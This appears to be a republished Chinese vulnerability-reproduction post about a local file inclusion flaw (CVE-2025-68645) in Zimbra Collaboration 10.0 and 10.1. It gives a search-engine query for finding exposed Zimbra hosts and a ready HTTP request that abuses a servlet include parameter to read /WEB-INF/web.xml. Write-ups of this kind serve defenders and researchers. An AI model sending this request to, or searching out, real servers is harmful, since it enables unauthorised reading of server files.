【漏洞复现】Zimbra本地文件包含漏洞(CVE-2025-68645)
【漏洞复现】Zimbra本地文件包含漏洞(CVE-2025-68645)
熔城Sec
发布于 2026-07-22 20:21:51
发布于 2026-07-22 20:21:51
漏洞描述
Zimbra Collaboration是Zimbra公司的一个开源企业级电子邮件与协作平台，支持邮件、日历、文档管理及团队协作功能。
Zimbra Collaboration 10.0版本和10.1版本存在安全漏洞，该漏洞源于RestFilter servlet处理用户输入不当，可能导致本地文件包含。
资产收集
鹰图平台
web.title="Zimbra"
图片
漏洞复现
GET /h/rest?javax.servlet.include.servlet_path=/WEB-INF/web.xml HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36返回包
nuclei脚本
关注公众号并回复 “ZH-2026-01-05-001” 即可获得该漏洞nuclei脚本
本文参与 腾讯云自媒体同步曝光计划，分享自微信公众号。
原始发表：2026-01-04，如有侵权请联系 cloudcommunity@tencent.com 删除
评论
登录后参与评论
推荐阅读
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号